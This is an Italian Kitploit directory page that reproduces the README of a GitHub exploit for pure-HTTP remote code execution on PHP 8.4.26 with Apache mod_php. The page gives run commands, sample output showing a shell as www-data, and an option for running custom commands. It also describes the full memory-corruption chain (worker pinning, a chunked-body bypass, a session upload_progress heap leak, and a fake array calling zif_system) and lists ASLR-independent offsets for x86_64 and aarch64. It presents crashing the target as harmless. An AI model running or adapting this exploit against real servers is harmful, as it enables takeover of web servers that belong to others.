Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
php2shell-bypass-aslr-exp — Exploit puramente HTTP che ottiene RCE su PHP 8.4.26 + Apache mod_php tramite heap leak di session upload_progress, riuso di puntatori dangling e bypass ASLR per chiamare zif_system. | Kitploit
Strumenti/GitHubGitHub/9bie/php2shell-bypass-aslr-exp
Memory ForensicsAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPaper e RicercaStrumento di Accesso RemotoBinary Exploitation
GitHub
Condividi
9bie/php2shell-bypass-aslr-exp

php2shell-bypass-aslr-exp

Exploit puramente HTTP che ottiene RCE su PHP 8.4.26 + Apache mod_php tramite heap leak di session upload_progress, riuso di puntatori dangling e bypass ASLR per chiamare zif_system.

Vedi Repository
1.6k44939726 giorni faRevisionato da Kitploit

php2shell - ambiente ufficiale Senza bisogno di display_errors, senza modificare memory_limit

Cinese | English | 日本語

Con la configurazione ufficiale prefork (MaxRequestWorkers=150), in condizioni completamente remote, usando solo HTTP, con una pagina di destinazione che contiene solo <?php echo "OK\n"; ?> e senza scrivere PHP lato destinazione, ottenere RCE con un solo comando:

  • immagine ufficiale stock + ini ufficiale + worker ufficiale: 10/10
  • baseline con singolo worker (calibrazione/debug iniziale): 20/20
  • circa 3–4 secondi per esecuzione (inclusi 149 placeholder di connessione), il worker fissato non si riavvia, l'ini di destinazione non è stato modificato

Sfruttamento generico

In teoria, basta calcolare gli offset di tutte le versioni di PHP e poi usarli per fare fuzzing in batch: prima o poi un fuzz riesce a ottenere l'RCE. Tanto il worker, se crasha, si riavvia comunque, quindi non c'è paura di mandare in crash il target.

Riguardo ai worker: anche MaxRequestWorkers=150 del prefork ufficiale è stato superato. Lo script prima occupa le richieste incomplete di 149 worker, poi fissa A1/B1/A2/B2 sullo stesso child rimanente; il singolo worker era solo la forma di debug iniziale (--workers 1 è ancora riproducibile).

Avvio rapido (php.ini-production ufficiale / display_errors=Off / 128M)

git clone https://github.com/9bie/php2shell-bypass-aslr-exp.git
cd php2shell-bypass-aslr-exp

# 1) 起目标:stock 官方镜像;容器里只把官方 php.ini-production 复制成 php.ini
./pure/run_pure.sh
# target: OK
# architecture: x86_64 (run exploit with --arch x86_64)
# PHP 8.4.26 ...
# display_errors => Off => Off
# memory_limit => 128M => 128M
# workers: official (run exploit with --workers 150)

# 2) 一条命令:A1 -> B1 泄漏 -> A2 -> B2 -> id
python3 exploit.py --port 18110
#       --arch auto(默认):自动识别 x86_64 / aarch64
#       pinned 150/150 workers (149 holders)
# [try 1] A1: END-cleanup send_cookie OOM
# [try 1] B1: stale-id OOB read (chunk base + libphp)
#       arch=x86_64 decoded=819208 zval_ptr_dtor=0x7fe00ef5db60 -> libphp=0x7fe00e8ff000
#       chunk buckets: [('0x7fe00c600000', 7495), ('0x7fe00ee00000', 1095),
#                       ('0x7fe00cc00000', 87), ('0x7fe00c400000', 79)]
# [try 1] A2 + B2: main=0x7fe00cc00000 S=0x7fe00ccf8398 zif_system=0x7fe00ed64370
# [4/4] RCE OK; proof .../out/p1:
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Non compilare PHP/Apache, non creare immagini, non montare gdb, non modificare l'ini di destinazione. pure/run_pure.sh usa per impostazione predefinita il container p2s-pure-18110, la porta 18110, e per impostazione predefinita la configurazione ufficiale prefork (MaxRequestWorkers=150); al termine stampa l'architettura effettiva, l'ini e i valori MPM; solo con --single monta l'override non ufficiale a worker singolo pure/docker/apache-single-worker.conf (insieme a --workers 1). docker/apache.conf è solo un symlink di compatibilità mantenuto per il vecchio harness, che punta allo stesso file. Su Linux, in assenza dei permessi del gruppo docker, lo script passa automaticamente a sudo docker, oppure si può specificare esplicitamente DOCKER="sudo docker" ./pure/run_pure.sh; --dbg serve solo per passare alla stessa build con simboli per la calibrazione offline.

Parametri comuni:

# 换新 ASLR 复测(重启容器)
python3 exploit.py --port 18110 --restart p2s-pure-18110

# 官方 worker 是默认值;--single 起的单 worker 目标用 --workers 1
python3 exploit.py --port 18110 --workers 1

# ARM64 也可显式指定(默认 --arch auto 自动识别)
python3 exploit.py --arch aarch64 --port 18110 --workers 1

# 自定义命令:把脚本写进挂载目录,再用 sh 执行
printf 'id; uname -a > /out/p1\n' > out/c
python3 exploit.py --port 18110 --cmd 'sh</out/c'

--retries predefinito a 3; se il puntatore più comune in una finestra fuori limite non è zval_ptr_dtor, lo script scarta questa fuga usando il controllo dell'intervallo plausibile di libphp-main, e ricomincia l'intera catena.

Questa catena puramente HTTP

La pagina di destinazione contiene solo <?php echo "OK\n"; ?>, il traffico di attacco è solo multipart chunked e normali GET/POST:

  1. worker pinning: MaxRequestWorkers=150 ufficiale; prima si aprono 149 POST che hanno inviato solo metà del body per occupare gli altri child, così A1/B1/A2/B2 finiranno tutti sullo stesso child rimanente, e solo così il puntatore pendente tra richieste è efficace.
  2. chunked aggira post_max_size: senza Content-Length content_length=0, il controllo all'inizio di rfc1867_post_handler viene saltato, si può inviare un body molto più grande di 8M per fare heap shaping.
  3. A1: 860 campi file annidati a profondità 64 + filler + valore grande + 4000B PHP_SESSION_UPLOAD_PROGRESS, OOM dentro php_url_encode della cleanup END; il bailout lascia PS(id) / PS(mod_data) pendenti, send_cookie=1.
  4. B1 (lettura fuori limite): dopo una close sicura si fa puntare PS(id) a un header zend_string falsificato (len=0xC8000, data contiene /), Set-Cookie codifica 800KB di memoria dopo il chunk id. Nella finestra ci sono contemporaneamente:
    • cluster di puntatori a chunk allineati a 2MiB → base del chunk id / chunk main;
    • il buco lasciato da G:400 in coda al chunk id viene riempito da 900 campi array annidati, il pDestructor = zval_ptr_dtor della vera HashTable compare 1095 volte → libphp = valore - 0x65EB60.
  5. A2 + B2: cheap-OOM fa puntare PS(hash_serialize_verifier) sull'heap (main+0x7D720); B2 lo sovrascrive con 384B di valore di riferimento facendolo puntare a uno zval su S=main+0xF8398, in S il pDestructor = zif_system dello zend_array falsificato (libphp+0x465370), allo shutdown zend_hash_destroy chiama system("id>/out/p1").

Offset (questa build, indipendenti da ASLR):

Simbolo/posizionex86_64aarch64
puntatore zval_ptr_dtor trapelatolibphp+0x65EB60libphp+0x63812B
zif_systemlibphp+0x465370libphp+0x42CD70
fake array Smain+0xF8398main+0xF8398
hsv di A2main+0x7D720main+0x7D720

Il simbolo ELF zval_ptr_dtor di aarch64 si trova a 0x638120, ma il puntatore che ricorre in questa fuga è 11 byte dopo, quindi il profilo sottrae 0x63812B. Ambiente di destinazione: Debian 13 (trixie), Apache 2.4.69 prefork, PHP 8.4.26 NTS mod_php, files session handler. Cambiare build/versione di PHP richiede una nuova calibrazione degli offset; l'ASLR cambia a ogni avvio del container, le due fughe sulla catena si calcolano da sole.

Prove

Scarica lo strumento

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Il toolkit OSINT definitivo: grafo di indagine, punteggio di affidabilità, famiglie di alias, mappa, timeline e report. 49 moduli, oltre 400 siti, nessuna chiave API richiesta.

    772
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # App di esecuzione con un tocco GhostLock (CVE-2026-43499)

    505
  • 3

    ARTEX

    baarai/artex

    Piattaforma di penetration testing autonoma multi-agente basata su LLM con agenti planner/worker, grafi di asset e di esplorazione, registrazione del traffico MITM e retesting delle vulnerabilità.

    420
  • 4

    redforge

    cybersecurity91/redforge

    Toolkit red team lato browser con 102 strumenti offline per ricognizione, generazione di payload, attacchi alle credenziali, crittografia, codifica e reportistica dell'engagement.

    345
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    Il sistema d'azione per la cybersecurity nativa AI—dove l'intento diventa esecuzione governata, le evidenze diventano memoria operativa, e ogni operazione migliora la successiva.

    260
  • 6

    antifox

    antifox-ai/antifox

    Piattaforma multi-agente di penetration testing autonoma basata sull'IA che esegue ricognizione, scoperta della superficie d'attacco, validazione dello sfruttamento e consegna di report supportati da evidenze.

    251

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →